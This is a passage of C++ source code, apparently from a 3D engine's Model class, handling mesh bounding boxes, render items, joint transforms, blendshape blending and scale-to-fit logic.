atLeastOnePointInBounds = true;
} else {
thisPartBounds += mv0;
}
thisPartBounds += mv1;
thisPartBounds += mv2;
glm::vec3 v0 = calculateScaledOffsetPoint(mv0);
glm::vec3 v1 = calculateScaledOffsetPoint(mv1);
glm::vec3 v2 = calculateScaledOffsetPoint(mv2);
Triangle tri = { v0, v1, v2 };
thisMeshTriangles.push_back(tri);
}
}
_calculatedMeshPartBoxes[QPair<int,int>(i, j)] = thisPartBounds;
}
_calculatedMeshTriangles[i] = thisMeshTriangles;
_calculatedMeshPartBoxesValid = true;
}
}
_calculatedMeshBoxesValid = true;
_calculatedMeshTrianglesValid = pickAgainstTriangles;
}
}
void Model::renderSetup(RenderArgs* args) {
// set up dilated textures on first render after load/simulate
const FBXGeometry& geometry = getFBXGeometry();
if (_dilatedTextures.isEmpty()) {
foreach (const FBXMesh& mesh, geometry.meshes) {
QVector<QSharedPointer<Texture> > dilated;
dilated.resize(mesh.parts.size());
_dilatedTextures.append(dilated);
}
}
if (!_addedToScene && isLoaded()) {
createRenderItemSet();
}
}
void Model::setVisibleInScene(bool newValue, std::shared_ptr<render::Scene> scene) {
if (_isVisible != newValue) {
_isVisible = newValue;
render::PendingChanges pendingChanges;
foreach (auto item, _modelMeshRenderItems.keys()) {
pendingChanges.resetItem(item, _modelMeshRenderItems[item]);
}
foreach (auto item, _collisionRenderItems.keys()) {
pendingChanges.resetItem(item, _collisionRenderItems[item]);
}
scene->enqueuePendingChanges(pendingChanges);
}
}
void Model::setLayeredInFront(bool layered, std::shared_ptr<render::Scene> scene) {
if (_isLayeredInFront != layered) {
_isLayeredInFront = layered;
render::PendingChanges pendingChanges;
foreach(auto item, _modelMeshRenderItems.keys()) {
pendingChanges.resetItem(item, _modelMeshRenderItems[item]);
}
foreach(auto item, _collisionRenderItems.keys()) {
pendingChanges.resetItem(item, _collisionRenderItems[item]);
}
scene->enqueuePendingChanges(pendingChanges);
}
}
bool Model::addToScene(std::shared_ptr<render::Scene> scene,
render::PendingChanges& pendingChanges,
render::Item::Status::Getters& statusGetters) {
bool readyToRender = _collisionGeometry || isLoaded();
if (!_addedToScene && readyToRender) {
createRenderItemSet();
}
bool somethingAdded = false;
if (_collisionGeometry) {
if (_collisionRenderItems.empty()) {
foreach (auto renderItem, _collisionRenderItemsSet) {
auto item = scene->allocateID();
auto renderPayload = std::make_shared<MeshPartPayload::Payload>(renderItem);
if (statusGetters.size()) {
renderPayload->addStatusGetters(statusGetters);
}
pendingChanges.resetItem(item, renderPayload);
_collisionRenderItems.insert(item, renderPayload);
}
somethingAdded = !_collisionRenderItems.empty();
}
} else {
if (_modelMeshRenderItems.empty()) {
bool hasTransparent = false;
size_t verticesCount = 0;
foreach(auto renderItem, _modelMeshRenderItemsSet) {
auto item = scene->allocateID();
auto renderPayload = std::make_shared<ModelMeshPartPayload::Payload>(renderItem);
if (statusGetters.size()) {
renderPayload->addStatusGetters(statusGetters);
}
pendingChanges.resetItem(item, renderPayload);
hasTransparent = hasTransparent || renderItem.get()->getShapeKey().isTranslucent();
verticesCount += renderItem.get()->getVerticesCount();
_modelMeshRenderItems.insert(item, renderPayload);
}
somethingAdded = !_modelMeshRenderItems.empty();
_renderInfoVertexCount = verticesCount;
_renderInfoDrawCalls = _modelMeshRenderItems.count();
_renderInfoHasTransparent = hasTransparent;
}
}
if (somethingAdded) {
_addedToScene = true;
updateRenderItems();
_needsFixupInScene = false;
}
return somethingAdded;
}
void Model::removeFromScene(std::shared_ptr<render::Scene> scene, render::PendingChanges& pendingChanges) {
foreach (auto item, _modelMeshRenderItems.keys()) {
pendingChanges.removeItem(item);
}
_modelMeshRenderItems.clear();
_modelMeshRenderItemsSet.clear();
foreach (auto item, _collisionRenderItems.keys()) {
pendingChanges.removeItem(item);
}
_collisionRenderItems.clear();
_collisionRenderItemsSet.clear();
_addedToScene = false;
_renderInfoVertexCount = 0;
_renderInfoDrawCalls = 0;
_renderInfoTextureSize = 0;
_renderInfoHasTransparent = false;
}
void Model::renderDebugMeshBoxes(gpu::Batch& batch) {
int colorNdx = 0;
_mutex.lock();
foreach(AABox box, _calculatedMeshBoxes) {
if (_debugMeshBoxesID == GeometryCache::UNKNOWN_ID) {
_debugMeshBoxesID = DependencyManager::get<GeometryCache>()->allocateID();
}
QVector<glm::vec3> points;
glm::vec3 brn = box.getCorner();
glm::vec3 bln = brn + glm::vec3(box.getDimensions().x, 0, 0);
glm::vec3 brf = brn + glm::vec3(0, 0, box.getDimensions().z);
glm::vec3 blf = brn + glm::vec3(box.getDimensions().x, 0, box.getDimensions().z);
glm::vec3 trn = brn + glm::vec3(0, box.getDimensions().y, 0);
glm::vec3 tln = bln + glm::vec3(0, box.getDimensions().y, 0);
glm::vec3 trf = brf + glm::vec3(0, box.getDimensions().y, 0);
glm::vec3 tlf = blf + glm::vec3(0, box.getDimensions().y, 0);
points << brn << bln;
points << brf << blf;
points << brn << brf;
points << bln << blf;
points << trn << tln;
points << trf << tlf;
points << trn << trf;
points << tln << tlf;
points << brn << trn;
points << brf << trf;
points << bln << tln;
points << blf << tlf;
glm::vec4 color[] = {
{ 1.0f, 0.0f, 0.0f, 1.0f }, // red
{ 0.0f, 1.0f, 0.0f, 1.0f }, // green
{ 0.0f, 0.0f, 1.0f, 1.0f }, // blue
{ 1.0f, 0.0f, 1.0f, 1.0f }, // purple
{ 1.0f, 1.0f, 0.0f, 1.0f }, // yellow
{ 0.0f, 1.0f, 1.0f, 1.0f }, // cyan
{ 1.0f, 1.0f, 1.0f, 1.0f }, // white
{ 0.0f, 0.5f, 0.0f, 1.0f },
{ 0.0f, 0.0f, 0.5f, 1.0f },
{ 0.5f, 0.0f, 0.5f, 1.0f },
{ 0.5f, 0.5f, 0.0f, 1.0f },
{ 0.0f, 0.5f, 0.5f, 1.0f } };
DependencyManager::get<GeometryCache>()->updateVertices(_debugMeshBoxesID, points, color[colorNdx]);
DependencyManager::get<GeometryCache>()->renderVertices(batch, gpu::LINES, _debugMeshBoxesID);
colorNdx++;
}
_mutex.unlock();
}
Extents Model::getBindExtents() const {
if (!isActive()) {
return Extents();
}
const Extents& bindExtents = getFBXGeometry().bindExtents;
Extents scaledExtents = { bindExtents.minimum * _scale, bindExtents.maximum * _scale };
return scaledExtents;
}
Extents Model::getMeshExtents() const {
if (!isActive()) {
return Extents();
}
const Extents& extents = getFBXGeometry().meshExtents;
// even though our caller asked for "unscaled" we need to include any fst scaling, translation, and rotation, which
// is captured in the offset matrix
glm::vec3 minimum = glm::vec3(getFBXGeometry().offset * glm::vec4(extents.minimum, 1.0f));
glm::vec3 maximum = glm::vec3(getFBXGeometry().offset * glm::vec4(extents.maximum, 1.0f));
Extents scaledExtents = { minimum * _scale, maximum * _scale };
return scaledExtents;
}
Extents Model::getUnscaledMeshExtents() const {
if (!isActive()) {
return Extents();
}
const Extents& extents = getFBXGeometry().meshExtents;
// even though our caller asked for "unscaled" we need to include any fst scaling, translation, and rotation, which
// is captured in the offset matrix
glm::vec3 minimum = glm::vec3(getFBXGeometry().offset * glm::vec4(extents.minimum, 1.0f));
glm::vec3 maximum = glm::vec3(getFBXGeometry().offset * glm::vec4(extents.maximum, 1.0f));
Extents scaledExtents = { minimum, maximum };
return scaledExtents;
}
Extents Model::calculateScaledOffsetExtents(const Extents& extents,
glm::vec3 modelPosition, glm::quat modelOrientation) const {
// we need to include any fst scaling, translation, and rotation, which is captured in the offset matrix
glm::vec3 minimum = glm::vec3(getFBXGeometry().offset * glm::vec4(extents.minimum, 1.0f));
glm::vec3 maximum = glm::vec3(getFBXGeometry().offset * glm::vec4(extents.maximum, 1.0f));
Extents scaledOffsetExtents = { ((minimum + _offset) * _scale),
((maximum + _offset) * _scale) };
Extents rotatedExtents = scaledOffsetExtents.getRotated(modelOrientation);
Extents translatedExtents = { rotatedExtents.minimum + modelPosition,
rotatedExtents.maximum + modelPosition };
return translatedExtents;
}
/// Returns the world space equivalent of some box in model space.
AABox Model::calculateScaledOffsetAABox(const AABox& box, glm::vec3 modelPosition, glm::quat modelOrientation) const {
return AABox(calculateScaledOffsetExtents(Extents(box), modelPosition, modelOrientation));
}
glm::vec3 Model::calculateScaledOffsetPoint(const glm::vec3& point) const {
// we need to include any fst scaling, translation, and rotation, which is captured in the offset matrix
glm::vec3 offsetPoint = glm::vec3(getFBXGeometry().offset * glm::vec4(point, 1.0f));
glm::vec3 scaledPoint = ((offsetPoint + _offset) * _scale);
glm::vec3 rotatedPoint = _rotation * scaledPoint;
glm::vec3 translatedPoint = rotatedPoint + _translation;
return translatedPoint;
}
void Model::clearJointState(int index) {
_rig->clearJointState(index);
}
void Model::setJointState(int index, bool valid, const glm::quat& rotation, const glm::vec3& translation, float priority) {
_rig->setJointState(index, valid, rotation, translation, priority);
}
void Model::setJointRotation(int index, bool valid, const glm::quat& rotation, float priority) {
_rig->setJointRotation(index, valid, rotation, priority);
}
void Model::setJointTranslation(int index, bool valid, const glm::vec3& translation, float priority) {
_rig->setJointTranslation(index, valid, translation, priority);
}
int Model::getParentJointIndex(int jointIndex) const {
return (isActive() && jointIndex != -1) ? getFBXGeometry().joints.at(jointIndex).parentIndex : -1;
}
int Model::getLastFreeJointIndex(int jointIndex) const {
return (isActive() && jointIndex != -1) ? getFBXGeometry().joints.at(jointIndex).freeLineage.last() : -1;
}
void Model::setTextures(const QVariantMap& textures) {
if (isLoaded()) {
_needsUpdateTextures = true;
_needsFixupInScene = true;
_renderGeometry->setTextures(textures);
} else {
// FIXME(Huffman): Disconnect previously connected lambdas so we don't set textures multiple
// after the geometry has finished loading.
connect(&_renderWatcher, &GeometryResourceWatcher::finished, this, [this, textures]() {
_renderGeometry->setTextures(textures);
});
}
}
void Model::setURL(const QUrl& url) {
// don't recreate the geometry if it's the same URL
if (_url == url && _renderWatcher.getURL() == url) {
return;
}
_url = url;
{
render::PendingChanges pendingChanges;
render::ScenePointer scene = AbstractViewStateInterface::instance()->getMain3DScene();
if (scene) {
removeFromScene(scene, pendingChanges);
scene->enqueuePendingChanges(pendingChanges);
} else {
qCWarning(renderutils) << "Model::setURL(), Unexpected null scene, possibly during application shutdown";
}
}
_needsReload = true;
_needsUpdateTextures = true;
_visualGeometryRequestFailed = false;
_needsFixupInScene = true;
invalidCalculatedMeshBoxes();
deleteGeometry();
auto resource = DependencyManager::get<ModelCache>()->getGeometryResource(url);
resource->setLoadPriority(this, _loadingPriority);
_renderWatcher.setResource(resource);
onInvalidate();
}
void Model::loadURLFinished(bool success) {
if (!success) {
_visualGeometryRequestFailed = true;
}
emit setURLFinished(success);
}
bool Model::getJointPositionInWorldFrame(int jointIndex, glm::vec3& position) const {
return _rig->getJointPositionInWorldFrame(jointIndex, position, _translation, _rotation);
}
bool Model::getJointPosition(int jointIndex, glm::vec3& position) const {
return _rig->getJointPosition(jointIndex, position);
}
bool Model::getJointRotationInWorldFrame(int jointIndex, glm::quat& rotation) const {
return _rig->getJointRotationInWorldFrame(jointIndex, rotation, _rotation);
}
bool Model::getJointRotation(int jointIndex, glm::quat& rotation) const {
return _rig->getJointRotation(jointIndex, rotation);
}
bool Model::getJointTranslation(int jointIndex, glm::vec3& translation) const {
return _rig->getJointTranslation(jointIndex, translation);
}
bool Model::getAbsoluteJointRotationInRigFrame(int jointIndex, glm::quat& rotationOut) const {
return _rig->getAbsoluteJointRotationInRigFrame(jointIndex, rotationOut);
}
bool Model::getAbsoluteJointTranslationInRigFrame(int jointIndex, glm::vec3& translationOut) const {
return _rig->getAbsoluteJointTranslationInRigFrame(jointIndex, translationOut);
}
bool Model::getRelativeDefaultJointRotation(int jointIndex, glm::quat& rotationOut) const {
return _rig->getRelativeDefaultJointRotation(jointIndex, rotationOut);
}
bool Model::getRelativeDefaultJointTranslation(int jointIndex, glm::vec3& translationOut) const {
return _rig->getRelativeDefaultJointTranslation(jointIndex, translationOut);
}
bool Model::getJointCombinedRotation(int jointIndex, glm::quat& rotation) const {
return _rig->getJointCombinedRotation(jointIndex, rotation, _rotation);
}
QStringList Model::getJointNames() const {
if (QThread::currentThread() != thread()) {
QStringList result;
QMetaObject::invokeMethod(const_cast<Model*>(this), "getJointNames", Qt::BlockingQueuedConnection,
Q_RETURN_ARG(QStringList, result));
return result;
}
return isActive() ? getFBXGeometry().getJointNames() : QStringList();
}
class Blender : public QRunnable {
public:
Blender(ModelPointer model, int blendNumber, const Geometry::WeakPointer& geometry,
const QVector<FBXMesh>& meshes, const QVector<float>& blendshapeCoefficients);
virtual void run() override;
private:
ModelPointer _model;
int _blendNumber;
Geometry::WeakPointer _geometry;
QVector<FBXMesh> _meshes;
QVector<float> _blendshapeCoefficients;
};
Blender::Blender(ModelPointer model, int blendNumber, const Geometry::WeakPointer& geometry,
const QVector<FBXMesh>& meshes, const QVector<float>& blendshapeCoefficients) :
_model(model),
_blendNumber(blendNumber),
_geometry(geometry),
_meshes(meshes),
_blendshapeCoefficients(blendshapeCoefficients) {
}
void Blender::run() {
PROFILE_RANGE_EX(simulation_animation, __FUNCTION__, 0xFFFF0000, 0, { { "url", _model->getURL().toString() } });
QVector<glm::vec3> vertices, normals;
if (_model) {
int offset = 0;
foreach (const FBXMesh& mesh, _meshes) {
if (mesh.blendshapes.isEmpty()) {
continue;
}
vertices += mesh.vertices;
normals += mesh.normals;
glm::vec3* meshVertices = vertices.data() + offset;
glm::vec3* meshNormals = normals.data() + offset;
offset += mesh.vertices.size();
const float NORMAL_COEFFICIENT_SCALE = 0.01f;
for (int i = 0, n = qMin(_blendshapeCoefficients.size(), mesh.blendshapes.size()); i < n; i++) {
float vertexCoefficient = _blendshapeCoefficients.at(i);
const float EPSILON = 0.0001f;
if (vertexCoefficient < EPSILON) {
continue;
}
float normalCoefficient = vertexCoefficient * NORMAL_COEFFICIENT_SCALE;
const FBXBlendshape& blendshape = mesh.blendshapes.at(i);
for (int j = 0; j < blendshape.indices.size(); j++) {
int index = blendshape.indices.at(j);
meshVertices[index] += blendshape.vertices.at(j) * vertexCoefficient;
meshNormals[index] += blendshape.normals.at(j) * normalCoefficient;
}
}
}
}
// post the result to the geometry cache, which will dispatch to the model if still alive
QMetaObject::invokeMethod(DependencyManager::get<ModelBlender>().data(), "setBlendedVertices",
Q_ARG(ModelPointer, _model), Q_ARG(int, _blendNumber),
Q_ARG(const Geometry::WeakPointer&, _geometry), Q_ARG(const QVector<glm::vec3>&, vertices),
Q_ARG(const QVector<glm::vec3>&, normals));
}
void Model::setScaleToFit(bool scaleToFit, const glm::vec3& dimensions) {
if (_scaleToFit != scaleToFit || _scaleToFitDimensions != dimensions) {
_scaleToFit = scaleToFit;
_scaleToFitDimensions = dimensions;
_scaledToFit = false; // force rescaling
}
}
void Model::setScaleToFit(bool scaleToFit, float largestDimension, bool forceRescale) {
// NOTE: if the model is not active, then it means we don't actually know the true/natural dimensions of the
// mesh, and so we can't do the needed calculations for scaling to fit to a single largest dimension. In this
// case we will record that we do want to do this, but we will stick our desired single dimension into the
// first element of the vec3 for the non-fixed aspect ration dimensions
if (!isActive()) {
_scaleToFit = scaleToFit;
if (scaleToFit) {
_scaleToFitDimensions = glm::vec3(largestDimension, FAKE_DIMENSION_PLACEHOLDER, FAKE_DIMENSION_PLACEHOLDER);
}
return;
}
if (forceRescale || _scaleToFit != scaleToFit || glm::length(_scaleToFitDimensions) != largestDimension) {
_scaleToFit = scaleToFit;
// we only need to do this work if we're "turning on" scale to fit.
if (scaleToFit) {
Extents modelMeshExtents = getUnscaledMeshExtents();
float maxDimension = glm::distance(modelMeshExtents.maximum, modelMeshExtents.minimum);
float maxScale = largestDimension / maxDimension;
glm::vec3 modelMeshDimensions = modelMeshExtents.maximum - modelMeshExtents.minimum;
glm::vec3 dimensions = modelMeshDimensions * maxScale;
_scaleToFitDimensions = dimensions;
_scaledToFit = false; // force rescaling
}
}
}
glm::vec3 Model::getScaleToFitDimensions() const {
if (_scaleToFitDimensions.y == FAKE_DIMENSION_PLACEHOLDER &&
_scaleToFitDimensions.z == FAKE_DIMENSION_PLACEHOLDER) {
return glm::vec3(_scaleToFitDimensions.x);
}
return _scaleToFitDimensions;
}
void Model::scaleToFit() {
// If our _scaleToFitDimensions.y/z are FAKE_DIMENSION_PLACEHOLDER then it means our
// user asked to scale us in a fixed aspect ratio to a single largest dimension, but
// we didn't yet have an active mesh. We can only enter this scaleToFit() in this state
// if we now do have an active mesh, so we take this opportunity to actually determine
// the correct scale.
if (_scaleToFit && _scaleToFitDimensions.y == FAKE_DIMENSION_PLACEHOLDER
&& _scaleToFitDimensions.z == FAKE_DIMENSION_PLACEHOLDER) {
setScaleToFit(_scaleToFit, _scaleToFitDimensions.x);
}
Extents modelMeshExtents = getUnscaledMeshExtents();
// size is our "target size in world space"
// we need to set our model scale so that the extents of the mesh, fit in a box that size...
glm::vec3 meshDimensions = modelMeshExtents.maximum - modelMeshExtents.minimum;
glm::vec3 rescaleDimensions = _scaleToFitDimensions / meshDimensions;
setScaleInternal(rescaleDimensions);
_scaledToFit = true;
}
void Model::setSnapModelToRegistrationPoint(bool snapModelToRegistrationPoint, const glm::vec3& registrationPoint) {
glm::vec3 clampedRegistrationPoint = glm::clamp(registrationPoint, 0.0f, 1.0f);
if (_snapModelToRegistrationPoint != snapModelToRegistrationPoint || _registrationPoint != clampedRegistrationPoint) {
_snapModelToRegistrationPoint = snapModelToRegistrationPoint;
_registrationPoint = clampedRegistrationPoint;
_snappedToRegistrationPoint = false; // force re-centering
}
}
void Model::snapToRegistrationPoint() {
Extents modelMeshExtents = getUnscaledMeshExtents();
glm::vec3 dimensions = (modelMeshExtents.maximum - modelMeshExtents.minimum);
glm::vec3 offset = -modelMeshExtents.minimum - (dimensions * _registrationPoint);
_offset = offset;
_snappedToRegistrationPoint = true;
}
void Model::simulate(float deltaTime, bool fullUpdate) {
PROFILE_RANGE(simulation, __FUNCTION__);
PerformanceTimer perfTimer("Model::simulate");
fullUpdate = updateGeometry() || fullUpdate || (_scaleToFit && !_scaledToFit)
|| (_snapModelToRegistrationPoint && !_snappedToRegistrationPoint);
if (isActive() && fullUpdate) {
// NOTE: This is overly aggressive and we are invalidating the MeshBoxes when in fact they may not be invalid
// they really only become invalid if something about the transform to world space has changed. This is
// not too bad at this point, because it doesn't impact rendering. However it does slow down ray picking
// because ray picking needs valid boxes to work
_calculatedMeshBoxesValid = false;
_calculatedMeshTrianglesValid = false;
onInvalidate();
// check for scale to fit
if (_scaleToFit && !_scaledToFit) {
scaleToFit();
}
if (_snapModelToRegistrationPoint && !_snappedToRegistrationPoint) {
snapToRegistrationPoint();
}
simulateInternal(deltaTime);
}
}
//virtual
void Model::updateRig(float deltaTime, glm::mat4 parentTransform) {
_needsUpdateClusterMatrices = true;
_rig->updateAnimations(deltaTime, parentTransform);
}
void Model::simulateInternal(float deltaTime) {
// update the world space transforms for all joints
glm::mat4 parentTransform = glm::scale(_scale) * glm::translate(_offset);
updateRig(deltaTime, parentTransform);
}
// virtual
void Model::updateClusterMatrices(glm::vec3 modelPosition, glm::quat modelOrientation) {
PerformanceTimer perfTimer("Model::updateClusterMatrices");
if (!_needsUpdateClusterMatrices || !isLoaded()) {
return;
}
_needsUpdateClusterMatrices = false;
const FBXGeometry& geometry = getFBXGeometry();
static const glm::mat4 zeroScale(
glm::vec4(0.0f, 0.0f, 0.0f, 0.0f),
glm::vec4(0.0f, 0.0f, 0.0f, 0.0f),
glm::vec4(0.0f, 0.0f, 0.0f, 0.0f),
glm::vec4(0.0f, 0.0f, 0.0f, 1.0f));
auto cauterizeMatrix = _rig->getJointTransform(geometry.neckJointIndex) * zeroScale;
glm::mat4 modelToWorld = glm::mat4_cast(modelOrientation);
for (int i = 0; i < _meshStates.size(); i++) {
MeshState& state = _meshStates[i];
const FBXMesh& mesh = geometry.meshes.at(i);
for (int j = 0; j < mesh.clusters.size(); j++) {
const FBXCluster& cluster = mesh.clusters.at(j);
auto jointMatrix = _rig->getJointTransform(cluster.jointIndex);
#if GLM_ARCH & GLM_ARCH_SSE2
glm::mat4 temp, out, inverseBindMatrix = cluster.inverseBindMatrix;
glm_mat4_mul((glm_vec4*)&modelToWorld, (glm_vec4*)&jointMatrix, (glm_vec4*)&temp);
glm_mat4_mul((glm_vec4*)&temp, (glm_vec4*)&inverseBindMatrix, (glm_vec4*)&out);
state.clusterMatrices[j] = out;
#else
state.clusterMatrices[j] = modelToWorld * jointMatrix * cluster.inverseBindMatrix;
#endif
// as an optimization, don't build cautrizedClusterMatrices if the boneSet is empty.
if (!_cauterizeBoneSet.empty()) {
if (_cauterizeBoneSet.find(cluster.jointIndex) != _cauterizeBoneSet.end()) {
jointMatrix = cauterizeMatrix;
}
state.cauterizedClusterMatrices[j] = modelToWorld * jointMatrix * cluster.inverseBindMatrix;
}
}
// Once computed the cluster matrices, update the buffer(s)
if (mesh.clusters.size() > 1) {
if (!state.clusterBuffer) {
state.clusterBuffer = std::make_shared<gpu::Buffer>(state.clusterMatrices.size() * sizeof(glm::mat4),
(const gpu::Byte*) state.clusterMatrices.constData());
} else {
state.clusterBuffer->setSubData(0, state.clusterMatrices.size() * sizeof(glm::mat4),
(const gpu::Byte*) state.clusterMatrices.constData());
}
if (!_cauterizeBoneSet.empty() && (state.cauterizedClusterMatrices.size() > 1)) {
if (!state.cauterizedClusterBuffer) {
state.cauterizedClusterBuffer =
std::make_shared<gpu::Buffer>(state.cauterizedClusterMatrices.size() * sizeof(glm::mat4),
(const gpu::Byte*) state.cauterizedClusterMatrices.constData());
} else {
state.cauterizedClusterBuffer->setSubData(0, state.cauterizedClusterMatrices.size() * sizeof(glm::mat4),
(const gpu::Byte*) state.cauterizedClusterMatrices.constData());
}
}
}
}
// post the blender if we're not currently waiting for one to finish
if (geometry.hasBlendedMeshes() && _blendshapeCoefficients != _blendedBlendshapeCoefficients) {
_blendedBlendshapeCoefficients = _blendshapeCoefficients;
DependencyManager::get<ModelBlender>()->noteRequiresBlend(getThisPointer());
}
}
void Model::inverseKinematics(int endIndex, glm::vec3 targetPosition, const glm::quat& targetRotation, float priority) {
const FBXGeometry& geometry = getFBXGeometry();
const QVector<int>& freeLineage = geometry.joints.at(endIndex).freeLineage;
glm::mat4 parentTransform = glm::scale(_scale) * glm::translate(_offset);
_rig->inverseKinematics(endIndex, targetPosition, targetRotation, priority, freeLineage, parentTransform);
}
bool Model::restoreJointPosition(int jointIndex, float fraction, float priority) {
const FBXGeometry& geometry = getFBXGeometry();
const QVector<int>& freeLineage = geometry.joints.at(jointIndex).freeLineage;
return _rig->restoreJointPosition(jointIndex, fraction, priority, freeLineage);
}
float Model::getLimbLength(int jointIndex) const {
const FBXGeometry& geometry = getFBXGeometry();
const QVector<int>& freeLineage = geometry.joints.at(jointIndex).freeLineage;
return _rig->getLimbLength(jointIndex, freeLineage, _scale, geometry.joints);
}
bool Model::maybeStartBlender() {
if (isLoaded()) {
const FBXGeometry& fbxGeometry = getFBXGeometry();
if (fbxGeometry.hasBlendedMeshes()) {
QThreadPool::globalInstance()->start(new Blender(getThisPointer(), ++_blendNumber, _renderGeometry,
fbxGeometry.meshes, _blendshapeCoefficients));
return true;
}
}
return false;
}
void Model::setBlendedVertices(int blendNumber, const Geometry::WeakPointer& geometry,
const QVector<glm::vec3>& vertices, const QVector<glm::vec3>& normals) {
auto geometryRef = geometry.lock();
if (!geometryRef || _renderGeometry != geometryRef || _blendedVertexBuffers.empty() || blendNumber < _appliedBlendNumber) {
return;
}
_appliedBlendNumber = blendNumber;
const FBXGeometry& fbxGeometry = getFBXGeometry();
int index = 0;
for (int i = 0; i < fbxGeometry.meshes.size(); i++) {
const FBXMesh& mesh = fbxGeometry.meshes.at(i);
if (mesh.blendshapes.isEmpty()) {
continue;
}
gpu::BufferPointer& buffer = _blendedVertexBuffers[i];
buffer->setSubData(0, mesh.vertices.size() * sizeof(glm::vec3), (gpu::Byte*) vertices.constData() + index*sizeof(glm::vec3));
buffer->setSubData(mesh.vertices.size() * sizeof(glm::vec3),
mesh.normals.size() * sizeof(glm::vec3), (gpu::Byte*) normals.constData() + index*sizeof(glm::vec3));
index += mesh.vertices.size();
}
}
void Model::deleteGeometry() {
_deleteGeometryCounter++;
_blendedVertexBuffers.clear();
_meshStates.clear();
_rig->destroyAnimGraph();
_blendedBlendshapeCoefficients.clear();
_renderGeometry.reset();
_collisionGeometry.reset();
}
AABox Model::getRenderableMeshBound() const {
if (!isLoaded()) {
return AABox();
} else {
// Build a bound using the last known bound from all the renderItems.
AABox totalBound;
for (auto& renderItem : _modelMeshRenderItemsSet) {
totalBound += renderItem->getBound();
}
return totalBound;
}
}
void Model::createRenderItemSet() {
if (_collisionGeometry) {
if (_collisionRenderItemsSet.empty()) {
createCollisionRenderItemSet();
}
} else {
if (_modelMeshRenderItemsSet.empty()) {
createVisibleRenderItemSet();
}
}
};
void Model::createVisibleRenderItemSet() {
assert(isLoaded());
const auto& meshes = _renderGeometry->getMeshes();
// all of our mesh vectors must match in size
if ((int)meshes.size() != _meshStates.size()) {
qCDebug(renderlogging) << "WARNING!!!! Mesh Sizes don't match! We will not segregate mesh groups yet.";
return;
}
// We should not have any existing renderItems if we enter this section of code
Q_ASSERT(_modelMeshRenderItemsSet.isEmpty());
_modelMeshRenderItemsSet.clear();
Transform transform;
transform.setTranslation(_translation);
transform.setRotation(_rotation);
Transform offset;
offset.setScale(_scale);
offset.postTranslate(_offset);
// Run through all of the meshes, and place them into their segregated, but unsorted buckets
int shapeID = 0;
uint32_t numMeshes = (uint32_t)meshes.size();
for (uint32_t i = 0; i < numMeshes; i++) {
const auto& mesh = meshes.at(i);
if (!mesh) {
continue;
}
// Create the render payloads
int numParts = (int)mesh->getNumParts();
for (int partIndex = 0; partIndex < numParts; partIndex++) {
_modelMeshRenderItemsSet << std::make_shared<ModelMeshPartPayload>(this, i, partIndex, shapeID, transform, offset);
shapeID++;
}
}
}
void Model::createCollisionRenderItemSet() {
assert((bool)_collisionGeometry);
if (_collisionMaterials.empty()) {
initCollisionMaterials();
}
const auto& meshes = _collisionGeometry->getMeshes();
// We should not have any existing renderItems if we enter this section of code
Q_ASSERT(_collisionRenderItemsSet.isEmpty());
Transform identity;
identity.setIdentity();
Transform offset;
offset.postTranslate(_offset);
// Run through all of the meshes, and place them into their segregated, but unsorted buckets
uint32_t numMeshes = (uint32_t)meshes.size();
for (uint32_t i = 0; i < numMeshes; i++) {
const auto& mesh = meshes.at(i);
if (!mesh) {
continue;
}
// Create the render payloads
int numParts = (int)mesh->getNumParts();
for (int partIndex = 0; partIndex < numParts; partIndex++) {
model::MaterialPointer& material = _collisionMaterials[partIndex % NUM_COLLISION_HULL_COLORS];
auto payload = std::make_shared<MeshPartPayload>(mesh, partIndex, material);
payload->updateTransform(identity, offset);
_collisionRenderItemsSet << payload;
}
}
}
bool Model::isRenderable() const {
return !_meshStates.isEmpty() || (isLoaded() && _renderGeometry->getMeshes().empty());
}
bool Model::initWhenReady(render::ScenePointer scene) {
// NOTE: this only called by SkeletonModel
if (_addedToScene || !isRenderable()) {
return false;
}
createRenderItemSet();
render::PendingChanges pendingChanges;
bool addedPendingChanges = false;
if (_collisionGeometry) {
foreach (auto renderItem, _collisionRenderItemsSet) {
auto item = scene->allocateID();
auto renderPayload = std::make_shared<MeshPartPayload::Payload>(renderItem);
_collisionRenderItems.insert(item, renderPayload);
pendingChanges.resetItem(item, renderPayload);
}
addedPendingChanges = !_collisionRenderItems.empty();
} else {
bool hasTransparent = false;
size_t verticesCount = 0;
foreach (auto renderItem, _modelMeshRenderItemsSet) {
auto item = scene->allocateID();
auto renderPayload = std::make_shared<ModelMeshPartPayload::Payload>(renderItem);
hasTransparent = hasTransparent || renderItem.get()->getShapeKey().isTranslucent();
verticesCount += renderItem.get()->getVerticesCount();
_modelMeshRenderItems.insert(item, renderPayload);
pendingChanges.resetItem(item, renderPayload);
}
addedPendingChanges = !_modelMeshRenderItems.empty();
_renderInfoVertexCount = verticesCount;
_renderInfoDrawCalls = _modelMeshRenderItems.count();
_renderInfoHasTransparent = hasTransparent;
}
_addedToScene = addedPendingChanges;
if (addedPendingChanges) {
scene->enqueuePendingChanges(pendingChanges);
// NOTE: updateRender items enqueues identical pendingChanges (using a lambda)
// so it looks like we're doing double work here, but I don't want to remove the call
// for fear there is some side effect we'll miss. -- Andrew 2016.07.21
// TODO: figure out if we really need this call to updateRenderItems() or not.
updateRenderItems();
}
return true;
}
class CollisionRenderGeometry : public Geometry {
public:
CollisionRenderGeometry(model::MeshPointer mesh) {
_fbxGeometry = std::make_shared<FBXGeometry>();
std::shared_ptr<GeometryMeshes> meshes = std::make_shared<GeometryMeshes>();
meshes->push_back(mesh);
_meshes = meshes;
_meshParts = std::shared_ptr<const GeometryMeshParts>();
}
};
void Model::setCollisionMesh(model::MeshPointer mesh) {
if (mesh) {
_collisionGeometry = std::make_shared<CollisionRenderGeometry>(mesh);
} else {
_collisionGeometry.reset();
}
_needsFixupInScene = true;
}
ModelBlender::ModelBlender() :
_pendingBlenders(0) {
}
ModelBlender::~ModelBlender() {
}
void ModelBlender::noteRequiresBlend(ModelPointer model) {
if (_pendingBlenders < QThread::idealThreadCount()) {
if (model->maybeStartBlender()) {
_pendingBlenders++;
}
return;
}
{
Lock lock(_mutex);
_modelsRequiringBlends.insert(model);
}
}
void ModelBlender::setBlendedVertices(ModelPointer model, int blendNumber,
const Geometry::WeakPointer& geometry, const QVector<glm::vec3>& vertices, const QVector<glm::vec3>& normals) {
if (model) {
model->setBlendedVertices(blendNumber, geometry, vertices, normals);
}
_pendingBlenders--;
{
Lock lock(_mutex);
for (auto i = _modelsRequiringBlends.begin(); i != _modelsRequiringBlends.end();) {
auto weakPtr = *i;
_modelsRequiringBlends.erase(i++); // remove front of the set
ModelPointer nextModel = weakPtr.lock();
